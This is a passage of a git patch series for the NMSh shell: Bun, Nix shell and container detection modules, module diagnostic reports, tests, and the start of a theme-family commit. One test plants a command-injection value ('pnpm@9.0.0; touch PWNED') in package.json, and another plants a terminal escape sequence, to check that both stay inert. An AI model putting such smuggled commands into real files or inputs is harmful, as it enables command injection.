a/src/context/capabilities/runtimes.ts +++ b/src/context/capabilities/runtimes.ts @@ -366,6 +366,20 @@ export const zigRuntime = simpleRuntime('runtime.zig', 'Zig toolchain', 'zig', [ export const denoRuntime = simpleRuntime('runtime.deno', 'Deno runtime', 'deno', ['.dvmrc', 'deno.json / deno.jsonc presence', '.tool-versions', 'mise.toml'], {requested: '2.1.0', requestedFrom: '.dvmrc', active: '2.1.4', manager: 'Homebrew'}, async context => versionFile(context, ['.dvmrc']), ['deno.json', 'deno.jsonc', 'deno.lock']); +export const bunRuntime = simpleRuntime('runtime.bun', 'Bun runtime', 'bun', ['.bun-version', 'package.json (packageManager "bun@…", engines.bun)', '.tool-versions', 'mise.toml'], + {requested: '1.1.30', requestedFrom: 'package.json', active: '1.1.34', manager: 'Homebrew'}, async context => { + const file = await versionFile(context, ['.bun-version']); + if (file) return file; + const manifest = await findNearest(context, ['package.json']); + const pkg = manifest ? parseJsonData(await readMetadataText(manifest.path, LARGE_METADATA_BYTES)) : undefined; + if (!record(pkg)) return undefined; + // Corepack's pin names the package manager and its exact version; engines.bun is a range. + const pinned = /^bun@(\d[\w.+-]{0,31})$/u.exec(text(pkg.packageManager, 64) ?? '')?.[1]; + if (pinned) return {version: pinned, from: 'package.json packageManager'}; + const range = record(pkg.engines) ? text(pkg.engines.bun, 64) : undefined; + return range ? {version: range, from: 'package.json engines'} : undefined; + }, ['bun.lockb', 'bun.lock', 'bunfig.toml']); + /** A release version as an SDK's own version file states it (Dart's `version`, Flutter's `version`): one bounded line, nothing else. */ const RELEASE = /^v?(\d+\.\d+(?:\.\d+)?(?:[-+][\w.]{1,32})?)$/u; async function releaseFile(path: string): Promise { @@ -436,5 +450,5 @@ export const flutterRuntime = runtimeCapability('runtime.flutter', 'Flutter SDK' return value ? {value, evidence: [requested?.from, active.active ? 'flutter on PATH' : undefined].filter(Boolean).join(', ') || 'flutter'} : undefined; }); -export const RUNTIME_CAPABILITIES: readonly CapabilityDefinition[] = [nodeRuntime, pythonRuntime, goRuntime, rustRuntime, javaRuntime, rubyRuntime, phpRuntime, dotnetRuntime, swiftRuntime, zigRuntime, denoRuntime, +export const RUNTIME_CAPABILITIES: readonly CapabilityDefinition[] = [nodeRuntime, pythonRuntime, goRuntime, rustRuntime, javaRuntime, rubyRuntime, phpRuntime, dotnetRuntime, swiftRuntime, zigRuntime, denoRuntime, bunRuntime, elixirRuntime, dartRuntime, flutterRuntime] as CapabilityDefinition[]; diff --git a/src/context/capabilities/system.ts b/src/context/capabilities/system.ts index d6530039..3f92ffe6 100644 --- a/src/context/capabilities/system.ts +++ b/src/context/capabilities/system.ts @@ -3,6 +3,7 @@ import {defineCapability, PREVIEW_NOW, type CapabilityDefinition} from '../capab import {parseXmlData, readMetadataText, record} from '../services.js'; import {runExternal} from '../../providers/providers.js'; import {linuxBattery, parseMeminfo, parsePmset, parseVmStat} from '../../status/systemStats.js'; +import {access} from 'node:fs/promises'; /** * Machine and session facts. Readers are OS metadata files and fixed system @@ -189,4 +190,25 @@ export const uptime = defineCapability({ async resolve() { return {value: {seconds: Math.floor(osUptime())}, evidence: 'system uptime'}; }, }); -export const SYSTEM_CAPABILITIES = [operatingSystem, sessionUser, sessionJobs, sessionDuration, clock, memory, battery, cpu, uptime] as CapabilityDefinition[]; +export interface ContainerFact {kind: 'Codespaces' | 'Dev Container' | 'Podman' | 'Docker'} + +async function present(path: string): Promise { + try { await access(path); return true; } catch { return false; } +} + +export const container = defineCapability({ + id: 'system.container', title: 'Container', + reads: ['/run/.containerenv and /.dockerenv presence (never their content)', 'CODESPACES and REMOTE_CONTAINERS set by dev container hosts'], + scope: 'machine', family: 'system', cost: 'bounded-async', trust: 'session', sensitivity: 'public', persistence: 'snapshot-safe', + fields: ['kind'], env: ['CODESPACES', 'REMOTE_CONTAINERS'], ttlMs: 3_600_000, timeoutMs: 500, invalidateOn: [], + preview: {kind: 'Docker'}, + async resolve(context) { + if (context.env.values.CODESPACES === 'true') return {value: {kind: 'Codespaces'}, evidence: 'CODESPACES'}; + if (context.env.values.REMOTE_CONTAINERS === 'true') return {value: {kind: 'Dev Container'}, evidence: 'REMOTE_CONTAINERS'}; + if (await present('/run/.containerenv')) return {value: {kind: 'Podman'}, evidence: '/run/.containerenv'}; + if (await present('/.dockerenv')) return {value: {kind: 'Docker'}, evidence: '/.dockerenv'}; + return undefined; + }, +}); + +export const SYSTEM_CAPABILITIES = [operatingSystem, sessionUser, sessionJobs, sessionDuration, clock, memory, battery, cpu, uptime, container] as CapabilityDefinition[]; diff --git a/src/context/packs/builtin/nmsh.environment.json b/src/context/packs/builtin/nmsh.environment.json index c9b9257f..ed450ba1 100644 --- a/src/context/packs/builtin/nmsh.environment.json +++ b/src/context/packs/builtin/nmsh.environment.json @@ -7,7 +7,7 @@ "license": "GPL-3.0-only", "provenance": {"author": "notMyShell", "notes": "First-party pack shipped with NMSh. Independent implementation."}, "compatibility": {"contextApi": 1, "nmsh": ">=0.17.0"}, - "requires": ["env.toolVersions", "env.direnv"], + "requires": ["env.toolVersions", "env.direnv", "env.nixShell"], "modules": [ { "id": "tools", "label": "mise / asdf", "description": "Tools the nearest mise.toml or .tool-versions requests (never runs mise or asdf).", @@ -26,10 +26,19 @@ {"text": "direnv "}, {"fact": "env.direnv", "field": "state"} ]}] + }, + { + "id": "nix", "label": "Nix shell", "description": "Whether this shell is inside nix-shell or nix develop, from IN_NIX_SHELL (never runs nix).", + "category": "environment", "priority": 37, "role": "system", "icon": "cubes", "condition": "always", + "surfaces": {"preferred": "rightContext"}, + "segments": [{"label": "nix", "parts": [ + {"fact": "env.nixShell", "field": "state"} + ]}] } ], "recommend": [ {"module": "tools", "evidence": [{"kind": "workspaceFile", "names": ["mise.toml", ".mise.toml", ".tool-versions"]}]}, - {"module": "direnv", "evidence": [{"kind": "workspaceFile", "names": [".envrc"]}]} + {"module": "direnv", "evidence": [{"kind": "workspaceFile", "names": [".envrc"]}]}, + {"module": "nix", "evidence": [{"kind": "workspaceFile", "names": ["flake.nix", "shell.nix"]}]} ] } diff --git a/src/context/packs/builtin/nmsh.project.json b/src/context/packs/builtin/nmsh.project.json index e81db5d4..33b83041 100644 --- a/src/context/packs/builtin/nmsh.project.json +++ b/src/context/packs/builtin/nmsh.project.json @@ -7,7 +7,7 @@ "license": "GPL-3.0-only", "provenance": {"author": "notMyShell", "notes": "First-party pack shipped with NMSh. Independent implementation; tool behavior studied from public documentation only."}, "compatibility": {"contextApi": 1, "nmsh": ">=0.17.0"}, - "requires": ["project.package", "project.build", "runtime.node", "runtime.python", "runtime.go", "runtime.ruby", "runtime.php", "runtime.dotnet", "runtime.swift", "runtime.zig", "runtime.deno", "runtime.elixir", "runtime.dart", "runtime.flutter", "runtime.rust", "runtime.java"], + "requires": ["project.package", "project.build", "runtime.node", "runtime.python", "runtime.go", "runtime.ruby", "runtime.php", "runtime.dotnet", "runtime.swift", "runtime.zig", "runtime.deno", "runtime.bun", "runtime.elixir", "runtime.dart", "runtime.flutter", "runtime.rust", "runtime.java"], "modules": [ { "id": "package", "label": "Package", "description": "Version and package manager from the nearest declarative manifest.", @@ -137,6 +137,18 @@ {"fact": "runtime.deno", "field": "requested", "prefix": " ", "optional": true, "when": {"field": "mismatch", "equals": true}} ]}] }, + { + "id": "bun", "label": "Bun", "description": "Bun runtime from .bun-version, package.json (packageManager, engines) or the install location; never run.", + "category": "runtime", "priority": 38, "role": "runtime", "icon": "code", "condition": "onCommand", + "triggers": ["bun", "bunx"], + "surfaces": {"preferred": "contextRail"}, + "segments": [{"label": "bun", "parts": [ + {"fact": "runtime.bun", "field": "active", "format": "version", "optional": true}, + {"fact": "runtime.bun", "field": "requested", "optional": true, "when": {"field": "active", "present": false}}, + {"fact": "runtime.bun", "field": "requestedFrom", "join": " · ", "optional": true, "when": {"field": "mismatch", "equals": true}}, + {"fact": "runtime.bun", "field": "requested", "prefix": " ", "optional": true, "when": {"field": "mismatch", "equals": true}} + ]}] + }, { "id": "elixir", "label": "Elixir", "description": "Elixir version from mix.exs, .tool-versions or the install location; never run.", "category": "runtime", "priority": 37, "role": "runtime", "icon": "elixir", "condition": "onCommand", @@ -208,6 +220,7 @@ {"module": "swift", "evidence": [{"kind": "workspaceFile", "names": ["Package.swift", ".swift-version"]}]}, {"module": "zig", "evidence": [{"kind": "workspaceFile", "names": ["build.zig", "build.zig.zon", ".zigversion"]}]}, {"module": "deno", "evidence": [{"kind": "workspaceFile", "names": ["deno.json", "deno.jsonc", ".dvmrc"]}]}, + {"module": "bun", "evidence": [{"kind": "workspaceFile", "names": ["bun.lockb", "bun.lock", "bunfig.toml", ".bun-version"]}]}, {"module": "build", "evidence": [{"kind": "workspaceFile", "names": ["MODULE.bazel", "WORKSPACE", "settings.gradle.kts", "settings.gradle", "build.gradle.kts", "build.gradle", "pom.xml", "CMakeLists.txt", "meson.build"]}]}, {"module": "elixir", "evidence": [{"kind": "workspaceFile", "names": ["mix.exs"]}]}, {"module": "dart", "evidence": [{"kind": "workspaceFile", "names": ["pubspec.yaml"]}]}, diff --git a/src/context/packs/builtin/nmsh.system.json b/src/context/packs/builtin/nmsh.system.json index f7949b44..92ec0a61 100644 --- a/src/context/packs/builtin/nmsh.system.json +++ b/src/context/packs/builtin/nmsh.system.json @@ -7,8 +7,16 @@ "license": "GPL-3.0-only", "provenance": {"author": "notMyShell", "notes": "First-party pack shipped with NMSh; shares the Status Strip's OS readers."}, "compatibility": {"contextApi": 1, "nmsh": ">=0.17.0"}, - "requires": ["system.os", "session.user", "session.jobs", "session.duration", "system.time", "system.battery", "system.memory"], + "requires": ["system.os", "session.user", "session.jobs", "session.duration", "system.time", "system.battery", "system.memory", "system.container"], "modules": [ + { + "id": "container", "label": "Container", "description": "Whether this shell runs in a container (Docker, Podman, a dev container or Codespaces), from marker files and host variables.", + "category": "system", "priority": 14, "role": "system", "icon": "cubes", "condition": "always", + "surfaces": {"preferred": "rightContext"}, + "segments": [{"label": "container", "parts": [ + {"fact": "system.container", "field": "kind"} + ]}] + }, { "id": "os", "label": "Operating system", "description": "Operating system name and version.", "category": "system", "priority": 12, "role": "system", "condition": "always", diff --git a/src/context/packs/schema.ts b/src/context/packs/schema.ts index 31c43481..7153a62b 100644 --- a/src/context/packs/schema.ts +++ b/src/context/packs/schema.ts @@ -293,7 +293,8 @@ export function parsePack(bytes: string | Uint8Array, capabilities: ReadonlyMap< ...(provenance.notes !== undefined ? {notes: str(provenance.notes, 'pack.provenance.notes', 240)} : {})}, compatibility: {contextApi: bounded(compatibility.contextApi, 'pack.compatibility.contextApi', 1, 99), ...(compatibility.nmsh !== undefined ? {nmsh: str(compatibility.nmsh, 'pack.compatibility.nmsh', 32, NMSH_RANGE)} : {})}, - requires: list(record.requires, 'pack.requires', 16, (entry, at) => str(entry, at, 64, /^[a-z][a-zA-Z0-9]*(?:\.[a-z][a-zA-Z0-9]*){1,3}$/u)), + // As many capabilities as modules: a pack's modules may each need a different one. + requires: list(record.requires, 'pack.requires', 24, (entry, at) => str(entry, at, 64, /^[a-z][a-zA-Z0-9]*(?:\.[a-z][a-zA-Z0-9]*){1,3}$/u)), modules: list(record.modules, 'pack.modules', 24, module, 1), ...(record.recommend !== undefined ? {recommend: list(record.recommend, 'pack.recommend', 24, (entry, at) => { const rule = obj(entry, at, ['module', 'evidence']); diff --git a/src/context/shellEnvironment.ts b/src/context/shellEnvironment.ts index c0e07561..115a9001 100644 --- a/src/context/shellEnvironment.ts +++ b/src/context/shellEnvironment.ts @@ -39,6 +39,8 @@ export const CONTEXT_ENV_VALUES: Readonly> = { MISE_ENV: 64, MISE_DATA_DIR: 1024, ASDF_DATA_DIR: 1024, // direnv's own bookkeeping says what it loaded; NMSh never runs direnv. DIRENV_DIR: 1024, DIRENV_FILE: 1024, + // nix-shell and nix develop mark their shells; dev container hosts mark theirs. + IN_NIX_SHELL: 16, REMOTE_CONTAINERS: 8, CODESPACES: 8, }; /** Reported as present or absent only; values are never read by the snapshot code. */ diff --git a/src/prompt/moduleReport.ts b/src/prompt/moduleReport.ts new file mode 100644 index 00000000..7ad74098 --- /dev/null +++ b/src/prompt/moduleReport.ts @@ -0,0 +1,53 @@ +import {moduleDefinition} from '../context/modules.js'; +import {CORE_CAPABILITIES} from '../context/registry.js'; +import {routeModule, surfaceAvailability} from '../context/surfaceRouter.js'; +import {MODULE_SURFACE_LABELS, type ContextModuleConfig, type ModuleSurface, type PromptConfiguration} from './configuration.js'; +import {whyText, type ModulesContext} from './ModulesPanel.js'; + +/** + * Plain-text module diagnostics for the transcript (#365), in the spirit of `starship explain` and `starship timings`: + * `/modules explain` says, per configured module, where it is routed, whether it is on screen and why, and the state of + * the capabilities it reads; `/modules timings` lists the slowest last collections. Both read the engine's snapshots + * and the settings only: nothing is collected, run or read from disk to produce them, and no module value is shown + * (only states, ages, durations and the capabilities' own evidence summaries). + */ + +type Status = NonNullable>>; + +const inert = (text: string, limit: number) => text.replace(/[\u0000-\u001f\u007f-\u009f\p{Cf}]/gu, ' ').slice(0, limit); +const age = (status: Status, now: number) => status.collectedAt === undefined ? '' : ` ${Math.max(0, Math.round((now - status.collectedAt) / 1000))}s ago`; +const took = (status: Status) => status.durationMs === undefined ? '' : `, took ${status.durationMs < 1 ? '<1' : Math.round(status.durationMs)} ms`; +const STATE: Record = {fresh: 'fresh', stale: 'stale', pending: 'collecting', absent: 'nothing to show', timeout: 'timed out', failed: 'failed', idle: 'not collected'}; + +export function explainModules(modules: readonly ContextModuleConfig[], context: ModulesContext, configuration: PromptConfiguration, now = Date.now()): string[] { + const rows: string[] = []; + for (const module of modules) { + const definition = moduleDefinition(module.id); + if (!definition) { rows.push(`${inert(module.id, 64)} · its Context Pack is not installed or enabled; nothing is collected`); continue; } + const surface = routeModule(module); + const availability = surface === 'hidden' ? undefined : surfaceAvailability(surface, configuration); + const sourced = [...definition.facts.keys()].map(id => ({id, status: context.status?.(id)})).filter((entry): entry is {id: string; status: Status} => Boolean(entry.status)); + const statuses = sourced.map(entry => entry.status); + const why = !module.visible ? 'turned off in Modules' + : availability && !availability.available ? availability.reason + : context.conditionMet?.(module) === false ? 'hidden: its condition does not match here' + : whyText(module, surface, statuses, definition.triggers); + const where = surface === 'hidden' ? 'Hidden' : MODULE_SURFACE_LABELS[surface as ModuleSurface]; + rows.push(`${inert(definition.label, 48)} (${module.id}) · ${where} · ${inert(why, 200)}`); + const sources = sourced.map(({id, status}) => `${id} ${STATE[status.state] ?? status.state}${age(status, now)}${took(status)}${status.evidence ? ` (${inert(status.evidence, 80)})` : ''}`); + if (sources.length) rows.push(` reads ${sources.join('; ')}`); + } + if (!rows.length) rows.push('No modules are configured.'); + rows.push('States come from this window\'s Context Engine; producing this report collected nothing.'); + return rows; +} + +export function moduleTimings(status: (id: string) => Status | undefined, now = Date.now(), limit = 15): string[] { + const measured = CORE_CAPABILITIES.map(capability => ({id: capability.id, ...status(capability.id)})).filter((entry): entry is Status & {id: string} => entry.durationMs !== undefined) + .sort((a, b) => b.durationMs! - a.durationMs!); + if (!measured.length) return ['No module data has been collected in this window yet.']; + const rows = measured.slice(0, limit).map(entry => `${String(entry.durationMs! < 1 ? '<1' : Math.round(entry.durationMs!)).padStart(6)} ms ${entry.id} · ${STATE[entry.state] ?? entry.state}${age(entry, now)}`); + if (measured.length > limit) rows.push(`… ${measured.length - limit} faster ones not listed`); + rows.push('Wall time of each capability\'s last collection, excluding time queued; nothing was collected to show this.'); + return rows; +} diff --git a/tests/contextCapabilities.test.ts b/tests/contextCapabilities.test.ts index b7d213e7..b16d710c 100644 --- a/tests/contextCapabilities.test.ts +++ b/tests/contextCapabilities.test.ts @@ -7,11 +7,11 @@ import {createHash} from 'node:crypto'; import type {CapabilityDefinition} from '../src/context/capability.js'; import {projectPackage} from '../src/context/capabilities/project.js'; import {projectBuild} from '../src/context/capabilities/build.js'; -import {dartRuntime, denoRuntime, dotnetRuntime, elixirRuntime, flutterRuntime, goRuntime, javaRuntime, nodeRuntime, phpRuntime, pythonRuntime, rubyRuntime, rustRuntime, swiftRuntime, versionMismatch, zigRuntime} from '../src/context/capabilities/runtimes.js'; -import {direnv, toolVersions} from '../src/context/capabilities/environment.js'; +import {bunRuntime, dartRuntime, denoRuntime, dotnetRuntime, elixirRuntime, flutterRuntime, goRuntime, javaRuntime, nodeRuntime, phpRuntime, pythonRuntime, rubyRuntime, rustRuntime, swiftRuntime, versionMismatch, zigRuntime} from '../src/context/capabilities/runtimes.js'; +import {direnv, nixShell, toolVersions} from '../src/context/capabilities/environment.js'; import {docker, helmChart, kubernetes, pulumi, terraform} from '../src/context/capabilities/infrastructure.js'; import {aws, azure, gcp} from '../src/context/capabilities/cloud.js'; -import {clock, operatingSystem, sessionDuration, sessionJobs, sessionUser} from '../src/context/capabilities/system.js'; +import {clock, container, operatingSystem, sessionDuration, sessionJobs, sessionUser} from '../src/context/capabilities/system.js'; import {gitExtras, jujutsu, mercurial} from '../src/context/capabilities/vcs.js'; import {resetServiceCaches, versionFromInstallPath} from '../src/context/services.js'; import {CORE_CAPABILITIES} from '../src/context/registry.js'; @@ -718,3 +718,40 @@ test('vcs.hg and vcs.jj: Mercurial and Jujutsu state from their own directories, assert.equal(await resolve(jujutsu, {cwd: join(home, 'src'), home}), undefined); } finally { await rm(home, {recursive: true, force: true}); } }); + +test('v0.21 modules: Bun from its own files, a Nix shell from IN_NIX_SHELL, a container from markers and host variables; nothing run', async () => { + resetServiceCaches(); + const root = await workspace(); + const tools = await workspace(); + try { + const cellar = join(tools, 'Cellar', 'bun', '1.1.34', 'bin'); + await mkdir(cellar, {recursive: true}); + await sentinelExecutable(join(cellar, 'bun'), join(tools, 'BUN_RAN'), '9.9.9'); + // Corepack's pin is exact; engines is a range; .bun-version wins over both. + await writeFile(join(root, 'package.json'), JSON.stringify({packageManager: 'bun@1.1.30', engines: {bun: '>=1.0'}})); + assert.deepEqual(await resolve(bunRuntime, {cwd: root, root, env: {PATH: cellar}}), {requested: '1.1.30', requestedFrom: 'package.json packageManager', active: '1.1.34', manager: 'Homebrew', mismatch: true}); + await writeFile(join(root, 'package.json'), JSON.stringify({engines: {bun: '>=1.0'}})); + resetServiceCaches(); + assert.equal((await resolve(bunRuntime, {cwd: root, root, env: {PATH: cellar}}))?.requested, '>=1.0'); + await writeFile(join(root, '.bun-version'), '1.1.34\n'); + resetServiceCaches(); + assert.deepEqual(await resolve(bunRuntime, {cwd: root, root, env: {PATH: cellar}}), {requested: '1.1.34', requestedFrom: '.bun-version', active: '1.1.34', manager: 'Homebrew'}); + // Hostile package.json content stays inert data; a non-bun packageManager is no request. + await rm(join(root, '.bun-version')); + await writeFile(join(root, 'package.json'), JSON.stringify({packageManager: 'pnpm@9.0.0; touch PWNED', engines: 'not an object'})); + resetServiceCaches(); + assert.equal(await resolve(bunRuntime, {cwd: root, root, env: {PATH: ''}, fields: ['requested']}), undefined); + assert.equal(await exists(join(tools, 'BUN_RAN')), false, 'bun was never run'); + assert.equal(await exists(join(root, 'PWNED')), false); + + assert.deepEqual(await resolve(nixShell, {cwd: root, env: {IN_NIX_SHELL: 'impure'}}), {state: 'impure'}); + assert.deepEqual(await resolve(nixShell, {cwd: root, env: {IN_NIX_SHELL: '1'}}), {state: 'active'}); + assert.equal(await resolve(nixShell, {cwd: root, env: {}}), undefined); + + assert.deepEqual(await resolve(container, {cwd: root, env: {CODESPACES: 'true'}}), {kind: 'Codespaces'}); + assert.deepEqual(await resolve(container, {cwd: root, env: {REMOTE_CONTAINERS: 'true'}}), {kind: 'Dev Container'}); + const onHost = await resolve(container, {cwd: root, env: {}}); + const markers = (await exists('/.dockerenv')) || (await exists('/run/.containerenv')); + assert.equal(onHost === undefined, !markers, 'only the real marker files decide, never workspace content'); + } finally { await rm(root, {recursive: true, force: true}); await rm(tools, {recursive: true, force: true}); resetServiceCaches(); } +}); diff --git a/tests/moduleManager.test.ts b/tests/moduleManager.test.ts index 3304ddd3..e537af1f 100644 --- a/tests/moduleManager.test.ts +++ b/tests/moduleManager.test.ts @@ -92,7 +92,7 @@ test('Packs tab: recommendations with evidence, bundled and installed packs, exp s.modulesTab = 'packs'; const shown = text(s); assert.match(shown, /Recommended here\n.*○ Terraform +main\.tf in this project/u); - assert.match(shown, /Bundled with NMSh\n.*Project & runtimes +nmsh\.project 1\.0\.0 · bundled · 16 modules/u); + assert.match(shown, /Bundled with NMSh\n.*Project & runtimes +nmsh\.project 1\.0\.0 · bundled · 17 modules/u); assert.match(shown, /Installed\n.*Acme infra +acme\.infra 1\.0\.0 · enabled · 1 modules/u); handlePromptPanelKey(key({kind: 'text', value: ' '}), s); assert.equal(s.draft.modules.find(module => module.id === 'nmsh.infrastructure:terraform')!.visible, true, 'only an explicit Space turns a recommendation on'); diff --git a/tests/moduleReport.test.ts b/tests/moduleReport.test.ts new file mode 100644 index 00000000..c593bbfb --- /dev/null +++ b/tests/moduleReport.test.ts @@ -0,0 +1,44 @@ +import test from 'node:test'; +import assert from 'node:assert/strict'; +import {explainModules, moduleTimings} from '../src/prompt/moduleReport.js'; +import {normalizePromptConfiguration} from '../src/prompt/configuration.js'; +import {parseSlashCommand} from '../src/commands/slashCommands.js'; + +test('/modules explain and /modules timings parse as reports; plain /modules opens the manager', () => { + assert.deepEqual(parseSlashCommand('/modules explain'), {kind: 'modules', report: 'explain'}); + assert.deepEqual(parseSlashCommand('/modules timings'), {kind: 'modules', report: 'timings'}); + assert.deepEqual(parseSlashCommand('/modules'), {kind: 'modules'}); + assert.notEqual(parseSlashCommand('/modules nonsense')?.kind, 'modules'); +}); + +test('explain: where each module goes, whether it shows and why, and its sources\' states; reading snapshots only', () => { + const configuration = normalizePromptConfiguration({}); + const asked: string[] = []; + const now = 100_000; + const rows = explainModules(configuration.modules, { + status: id => { asked.push(id); return id === 'runtime.deno' ? {state: 'fresh', collectedAt: now - 3000, durationMs: 4.2, evidence: '.dvmrc\u001b[2J'} : {state: 'idle'}; }, + conditionMet: () => true, + }, configuration, now); + const text = rows.join('\n'); + assert.ok(rows.length > configuration.modules.length / 2, 'one or two rows per module'); + assert.match(text, /\(gitBranch\) · Main Prompt · /u); + assert.match(text, /\(nmsh\.project:deno\) · Hidden · turned off in Modules\n reads runtime\.deno fresh 3s ago, took 4 ms \(\.dvmrc \[2J\)/u, 'evidence is drawn inert'); + assert.match(text, /\(nmsh\.project:bun\) · Hidden · turned off in Modules\n reads runtime\.bun not collected/u); + assert.doesNotMatch(text, /\u001b/u); + assert.match(rows.at(-1)!, /collected nothing/u); + assert.ok(asked.length > 0 && asked.every(id => /^[a-z]/u.test(id)), 'only the status snapshot was consulted'); + const off = explainModules([{...configuration.modules[0]!, visible: false}], {}, configuration, now); + assert.match(off[0]!, /turned off in Modules/u); + assert.match(explainModules([{...configuration.modules[0]!, id: 'not.installed' as never}], {}, configuration)[0]!, /its Context Pack is not installed/u); +}); + +test('timings: the slowest last collections first, bounded, honest when nothing was measured', () => { + assert.deepEqual(moduleTimings(() => undefined), ['No module data has been collected in this window yet.']); + const durations: Record = {'runtime.node': 40, 'vcs.git': 3, 'cloud.aws': 120, 'system.os': 0.4}; + const rows = moduleTimings(id => durations[id] === undefined ? {state: 'idle'} : {state: 'fresh', collectedAt: 0, durationMs: durations[id]!}, 5000, 3); + assert.match(rows[0]!, /^ +120 ms cloud\.aws · fresh 5s ago$/u); + assert.match(rows[1]!, /^ +40 ms runtime\.node/u); + assert.match(rows[2]!, /^ +3 ms vcs\.git/u); + assert.match(rows[3]!, /^… 1 faster ones not listed$/u); + assert.match(rows.at(-1)!, /excluding time queued; nothing was collected/u); +}); From a6a3068167a95bf863505ae92ffa48bdc1cba128 Mon Sep 17 00:00:00 2001 From: raiseCatError <315733358+raiseCatError@users.noreply.github.com> Date: Sun, 18 Oct 2026 14:49:04 +0530 Subject: [PATCH 015/157] Theme families: Ayu, Kanagawa, Everforest, Flexoki and Night Owl (#401) Twelve variants with colors copied exactly from each project's MIT-licensed source at a recorded revision (sources, revisions, licenses and role mapping in docs/design/theme-families.md). Every role fill keeps 4.5:1 module text contrast; light variants keep NMSh's text tiers. Existing ids and saved choices are unchanged; Lavender stays the default. Oxocarbon (grays computed at runtime in HSLuv), GitHub Primer (values from a built primitives release), Material/Palenight and Monokai (licensing not verified) are deferred with reasons. Theme Studio's Built-in list gains / to filter by name, family or dark/light; Esc clears the filter before closing. --- CHANGELOG.md | 1 + docs/design/theme-families.md | 29 ++++++++++++++ docs/development/v021-ledger.md | 7 +++- docs/testing/v021-physical-qa.md | 14 +++++++ src/appearance/ThemeStudio.ts | 50 ++++++++++++++++++++---- src/appearance/themeFamilies.ts | 66 +++++++++++++++++++++++++++++++- src/appearance/themeSelection.ts | 3 +- src/prompt/configuration.ts | 8 +++- tests/themeFamilies.test.ts | 42 +++++++++++++++++++- 9 files changed, 205 insertions(+), 15 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 61060a40..862aad11 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -16,6 +16,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/). - **Semantic Output** for test runs and builds ([#386](https://github.com/raiseCatError/notMyShell/issues/386), first phase). A completed block whose output NMSh recognizes gets one overview row with the counts the tool printed (`✔ node --test · 1,772 passed · 0 failed · 25 skipped`, `✘ TypeScript · 3 errors in 2 files`) and, when it listed failures or diagnostics, a details row that opens them, taken verbatim from the output. Recognized: Node's test runner (spec and TAP), Jest, Vitest, pytest, `cargo test`, `go test`, TypeScript, Rust and GCC/Clang diagnostics; anything else stays raw only, and short passing output gets nothing. Details start open when the raw output is folded; click the details row or use Actions → Show or hide details. The output itself, its folding, search, selection and plain `/copy` are unchanged. `/copy --semantic` copies the reading (raw for an output without one, as the note says) and `/copy --both` the raw output and the reading under labelled NMSh separators. Settings → Transcript → Semantic Output turns it off. - **Native modules: Bun, Nix shell and container** ([#364](https://github.com/raiseCatError/notMyShell/issues/364)). Bun's requested version comes from `.bun-version` or `package.json` (`packageManager`, `engines.bun`) and the active one from its install location; the Nix shell module shows `pure`/`impure` from `IN_NIX_SHELL`; the container module names Docker, Podman, a dev container or Codespaces from marker files and host variables. None runs anything; all are off until enabled in `/modules`, which recommends Bun and Nix when their files are present. - **`/modules explain` and `/modules timings`** ([#365](https://github.com/raiseCatError/notMyShell/issues/365)) write a plain-text report into the transcript: each configured module's surface, whether it is on screen and why, and its sources' state, age and last collection time; or the slowest last collections. They read what the Context Engine already has and collect nothing. +- **Five more bundled theme families** ([#401](https://github.com/raiseCatError/notMyShell/issues/401)): Ayu (Dark, Mirage, Light), Kanagawa (Wave, Dragon, Lotus), Everforest (Dark, Light), Flexoki (Dark, Light) and Night Owl (Night Owl, Light Owl), with colors copied exactly from each project's MIT-licensed source at a recorded revision. They theme NMSh's own prompt fills and chrome only; the terminal's own colors and configuration are never changed. Existing theme ids and saved choices are unchanged, and Lavender stays the default. Theme Studio's Built-in list gains `/` to filter by name, family, or `dark`/`light`. - **`/track`** keeps one live result of a finite command in the transcript, refreshed in place ([#393](https://github.com/raiseCatError/notMyShell/issues/393)). `/track df -h` or `/track --every 5s -- docker system df` writes the command once, then shows a status row (`live · every 5s · updated 13:49:25 · exit 0`, a failing exit, a timeout, paused, stale, refreshing) and the latest result under it, with a stable height. The shell stays free; nothing accumulates per refresh, and find, selection and `/copy` never include the live rows. `/track copy` copies the latest result, `/track refresh`, `pause`, `resume` and `stop` control it, and stopping leaves the last result in the transcript once. Samples run `sh -c` from the starting directory with your shell's PATH (not its aliases or functions), never overlap, and are bounded (200 kB, a timeout, at most 8 trackers); destructive and unknown commands are refused or need a Yes, as for `/watch`. Trackers stop with the window that started them. `/watch` keeps its manager and its behavior; both share one scheduler, which gains stricter interval parsing, refusals for substitutions, background jobs and heredocs, UTF-8-safe bounded capture, visible timeouts and a stop grace period (from draft #394). ### Fixed diff --git a/docs/design/theme-families.md b/docs/design/theme-families.md index 95ebf25b..6f6ae928 100644 --- a/docs/design/theme-families.md +++ b/docs/design/theme-families.md @@ -27,6 +27,11 @@ are derived, so older configurations load unchanged: | Nord | Nord | | | Solarized | Dark, Light | | | One Dark | One Dark, One Light | | +| Ayu | Dark, Mirage, Light | v0.21; Mirage is the family default | +| Kanagawa | Wave, Dragon, Lotus | v0.21 | +| Everforest | Dark, Light | v0.21; medium contrast (soft/hard change only the editor background) | +| Flexoki | Dark, Light | v0.21 | +| Night Owl | Night Owl, Light Owl | v0.21 | | Custom | the user's theme (`customTheme`) | NMSh Theme JSON | Settings shows `Theme family`, then nested `Variant` (hidden for one-variant @@ -54,6 +59,30 @@ NMSh never fetches palettes at runtime. | Nord | github.com/nordtheme/nord `src/nord.css` | MIT | Copyright (c) 2016-present Sven Greb | | Solarized | github.com/altercation/solarized (README) | MIT | Copyright (c) 2011 Ethan Schoonover | | One Dark / One Light | github.com/atom/one-dark-syntax, one-light-syntax `styles/colors.less` (HSL converted to hex) | MIT | Copyright (c) 2016 GitHub Inc. | +| Ayu | github.com/ayu-theme/ayu-colors `themes/dark.yaml`, `mirage.yaml`, `light.yaml` (d461f029) | MIT | Copyright (c) 2016 Ike Ku | +| Kanagawa | github.com/rebelot/kanagawa.nvim `lua/kanagawa/colors.lua`, `themes.lua` (bb85e4bf) | MIT | Copyright (c) 2021 Tommaso Laurenzi | +| Everforest | github.com/sainnhe/everforest `palette.md` (85a86eb6) | MIT | Copyright (c) 2019 Sainnhe Park | +| Flexoki | github.com/kepano/flexoki `README.md` palette tables (8d723bac) | MIT | Copyright (c) 2023 Steph Ango | +| Night Owl | github.com/sdras/night-owl-vscode-theme `themes/Night Owl-color-theme.json`, `Night Owl-Light-color-theme.json` (cc291eba) | 